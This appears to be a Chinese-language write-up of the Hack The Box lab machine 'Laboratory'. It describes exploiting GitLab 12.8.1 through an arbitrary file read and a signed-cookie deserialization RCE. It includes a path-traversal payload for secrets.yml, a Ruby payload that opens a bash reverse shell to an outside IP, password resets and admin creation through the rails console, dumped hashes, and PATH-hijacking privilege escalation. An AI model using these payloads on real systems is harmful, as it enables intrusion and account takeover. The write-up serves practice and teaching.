概述 (Overview)
时间: 2021-07-17
机器作者: 0xc45
困难程度: easy
描述: 考察用户信息收集能力,并通过历史GitLab漏洞进一步RCE。
Flags:User: <md5>
, Root: <md5>
MACHINE TAGS:
- Bash
- Ruby
- Outdated Software
- Patch Management
攻击链 (Kiillchain)
使用 nmap
获取到目标开放端口及服务,在CA证书中获发现GitLab
服务域名并绑定hosts
访问。更具服务版本信息检索存在任务文件读取漏洞,并使用读取到 secret_key_base
进一步将漏洞提升至RCE,利用RCE漏洞获取到 git
用户反弹shell。
通过 gitlab-rails
修改项目所有者密码,登录后从私有项目中获得dexter
用户id_rsa
,使用私钥成功成容器中完成逃逸横向到物理机。
最终通过 Path Hijacking
利用成功获得ROOT会话shell。
枚举(Enumeration)
老规矩 nmap
起手对目标服务器开发端口进行扫描:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
| 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以从运行的HTTPS服务的证书中获悉:laboratory.htb
、git.laboratory.htb
,对其进行 hosts 绑定。访问IP的80端口提示指向:laboratory.htb
查看页面后暂时不明运行的是什么系统,内容为纯静态页面。
转而查看 git.laboratory.htb
,不是的是 GitLab 服务且存在开放注册。
立足点(Foothold)
注册一个账号,提示邮箱是已 @laboratory.htb
结尾。登录 GitLab 后可以看一个公开的项目:
通过验证请求项目中URL路径,发现它就是 https://laboratory.htb
的源代码项目。
在 Isses
中,发现存在一个留言对应的创建用户是 Seven
,看起来像是一个 Bot。
该项目的所有者是 dexter
通过页面信息获知部署服务的版本为: GitLab Community Edition 12.8.1
,通过 Google 找到了在该版本下可能存在任务文件读取漏洞。
https://hackerone.com/reports/827052
同时还找到了一个的攻击脚本,包含任意文件读取及RCE两个漏洞验证
https://github.com/dotPY-hax/gitlab_RCE
从提示中获取到好像没有找到版本信息:The Version seems to be None! Choose wisely
。通过查看脚本运行逻辑,直接在获取版本方法中写死版本为 12.8.1
。
在 Issues
中查看,成功读取到了目标服务器上的 passwd
文件内容。
注意:脚本能利用成功的前提,一是存在任意用户的注册和删除。二是可以创建项目。触发的本质是将创建的 issue
转移至其他项目
在 https://hackerone.com/reports/827052 的下半部分信息中,vakzz
进一步对漏洞进行了利用使其可以组合成RCE漏洞。
利用任务文件读取获取 gitlab-rails
的凭证:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
攻击脚本中也有该部分的利用,但我在尝试时出现了未知的错误导致利用失败。类似的脚本还有:
https://github.com/cocomelonc/vulnexipy/blob/master/cve_2020_10977_rce.py
在 CVE-2020-10977-Gitlab CE/EE 中获得了进一步RCE的详情,尝试复现攻击。
首先 Docker 拉取 GitLab-CE 镜像并运行容器:
将获取到的 secret_key_base
替换容器内的配置:
运行 $ gitlab-rails console
进入 rails 命令模式,依次传入如下内容:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.16.15/9900 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
但是多次尝试后还是失败,麻了…
现在写总结的时候才发现文中有这么一段话:(ps:反弹shell的命令必须使用bash -c 包裹,否则反弹不了shell;使用控制台执行这些语句时,系统命令会在本机会执行一遍,所以在以上语句执行完成获取cookie值之前,不要在攻击机上执行监听端口命令)
我怀疑当时就是脑子烧了,没留意到… 尴尬
卡了和很久,最后在修改完 gitlab_rce.py
的 sel.port
参数执行脚本获取的了反弹shell。
横向移动(Lateral Movement)
上传 linpeas 脚本至目标服务器,发现服务器上用于文件传递的命令不是很多,就写了个简单的PHP脚本来实现文件传递:
<?php
// curl -F "file_name=@1.txt" http://localhost/upload_file.php\?file_name\=./aaa/bbb/1.txt
error_reporting(0);
$file_name = $_REQUEST['file_name'];
if ($_FILES['file_name']['name']) {
$dirname = dirname($file_name);
if ($dirname && ! mkdir($dirname, 0777, true) && ! is_dir($dirname)) {
throw new \RuntimeException(sprintf('Directory "%s" was not created', $dirname));
}
move_uploaded_file($_FILES['file_name']['tmp_name'], $file_name);
echo 'Upload file: ' . $file_name . ' Ok!';
}
发现脚本收集的信息,发现 gitlab-rails
的数据中存在多个用户的密码hash:
seven@laboratory.htb:$2a$10$HkBO3A4k6G42X85r0ZIpO.RlSLCg9igEaiiU8r44Ymd7e2nWcjixC
cce81knqg1@laboratory.htb:$2a$10$gmKFAFq85aHMNLMXHc8w6evY8NI3uKs6kF0GLUfFL4S2q1gT7FnXy
test@laboratory.htb:$2a$10$YTCK8L9uUzKRk6UoZcE.o.9RaY5bkEoGAqzaNhlUEeTcq8OyZJKWm
admin@example.com:$2a$10$YqNpT9IdQm9tlE3SS/uYWOsrH1Fblb/jiM62XVB.WzDLTJNoC0/im
发现 dexter
用户与 admin
存在关联:
随后通过 gitlab-rails
成功修改 dexter
用户的密码:
gitlab-rails console
user=User.where(username: "dexter").first // 查找dexter用户
user.password=12345678 // 修改用户的密码
user.save!
也可以直接创建一个管理员账号:
User.create!(name: "Test01", username: "test01", email: "test01@laboratory.htb", password: "test12345", password_confirmation: "test12345", admin: true)
使用 dexter
账号登录 GitLab 发现多了一个私有项目:
在该项目中保存了用户的ssh私钥:
从项目名称中判断当前的运行环境可能是容器,果然在根目录下看到了一个 /.dockerenv
文件,而一般该文件是会出现在 Docker 容器中。
从 hosts 中可以获知到,当前 GitLab 容器对应的ip是 171.17.0.2
,尝试在容器中使用项目中获取的私钥去登录物理机的SSH:
root连接提示失败,换dexter用户后也提示失败。看样子还缺失一组密码,但我找了很久都没找到。换Kali中连接目标物理机IP也提示失败…
从搜索中得到的解释是说密钥错误,通过diff
比对了下本地正常的id_rsa
发现dexter的私钥末尾缺失了一个换行符。
加上换行符后就成功登录dexter用户shell:
权限提升(Privilege Escalation)
接着将 linpeas.sh 传递至服务器,分析后发现存一个 docker-security
命令,并具备 SUID 权限。
从详情中看到到,多个s
权限:
可是我在网上并不能搜到这个命令的详情,怀疑是该靶机自有的命令。
使用 pspy
查看是否存在计划任务这种东西,发现存在root运行:
当 docker-security
被执行后会运行 sh -c chmod 6600 /var/run/docker.sock
命令,但是可以看到这里 chmod
并没有指定绝对路径,让我想起了 Path Hijacking
。
原理是当通过 bash、sh 去运行比如 ls
命令,它是根据环境变量中的 PATH
路径去依次寻找可执行的 ls
。比如在/usr/bin
和/usr/local/sbin
目录中都存在可执行的 ls
,PATH
中那个路径写在前面则那个 ls
先被执行。
在当前路径下创建一个 chmod
文件: echo "/bin/bash" > chmod
,随后增加可执行属性,并将当前路径加入PATH
首部。
再次运行 docker-security
后成功获得 root shell。
复盘
gitlab 项目都放在 /var/opt/gitlab/git-data/repositories/
目录中。
在不存在 ip
、ifconfig
等命令时(比如容器里),查看本机IP可以使用 cat /proc/net/fib_trie
将看到IPv4地址。
参考
- GitLab Rails 控制台备忘录 - https://docs.gitlab.com/ee/administration/troubleshooting/gitlab_rails_cheat_sheet.html